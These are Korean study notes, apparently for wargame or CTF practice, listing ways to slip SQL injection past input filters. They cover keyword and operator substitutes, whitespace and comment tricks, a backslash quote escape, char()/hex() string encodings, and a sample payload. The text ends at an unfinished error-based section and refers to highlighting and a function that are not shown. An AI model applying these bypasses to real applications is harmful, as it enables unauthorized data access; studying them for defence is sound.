sql injection 우회
~~ing
1. and, or
&&, ||
2. substr, substring
mid 또는 left, right
1) mid('string', 2, 1) ='t'
2) left, right
left(right('string',5),1)='t'
3. ord 우회
1) ascii, hex 사용 가능
ord(substr(pwstring,1,1))=ascii(substr(pwstring,1,1))
2) hex('a')=61
3) conv(N,from_base,to_base) 사용
4) bin('admin') = 0b110000101100100011011010110100101101110
-> 다 필터링되어 있을 때 : binary 함수 사용하여 대소문자 구분 가능
4. =
like, between, in, instr
ex) where id like "admin"
where id like "%admin%"
ex) where id in ("admin")
5. 공백
/**/,+,%09,%0a,%0c,%0b,()
ex) idx=(2)or(path='/flag')
6. ' (작은따옴표)
특수 문자를 일반 문자화 시키는 \문자를 이용하여 우회 가능.
ex) query=select * from table where id='{$id}' and pw='{%pw}' 일 때
id의 맨 끝 입력값에 \ 문자를 삽입하면
query=select * from table where id='{$id}' and pw='{%pw}'
색칠한 부분이 문자열로 인식되고, 이를 이용하여 쿼리를 삽입 가능함.
7. information
방법이 없는 것으로 알고 있음..
8. 주석
#, -- (맨 끝에 공백 삽입 필요), ;%00
또한 #를 url encoding한 값 %23를 사용할 수도 있으나.. 보통은 #가 막혀있으면 같이 막혀있음
9. limit
1) group by + having
2) group_concat
10. 문자열에 대한 우회
- preg_match 사용하는 경우
i 옵션이 적용되어 있지 않아 대소문자 구분을 하지 않는다면 fLaG와 같은 식으로 우회가 가능하지만,
(쿼리문에서는 대소문자에 대한 구분이 없어서 가능한 방식)
대부분의 경우에는 i 옵션이 적용되어 있음
데이터베이스 함수인 char, hex 함수를 이용하여 우회 가능
ex) "flag" 문자열을 우회할 때
char(102,108,97,103)
char(0x666c6167)
++
time_injection 공격 시
sleep 에 대한 필터링이 걸려 있어도 이 함수를 이용하여 공격이 가능할 수 있음 .
-> 필터링이 어느 시점에 되어 있는지에 따라 다름.
++
error_based_injection 공격 시
(데이터베이스의 종류에 따라 다름. mysql 기준으로 작성)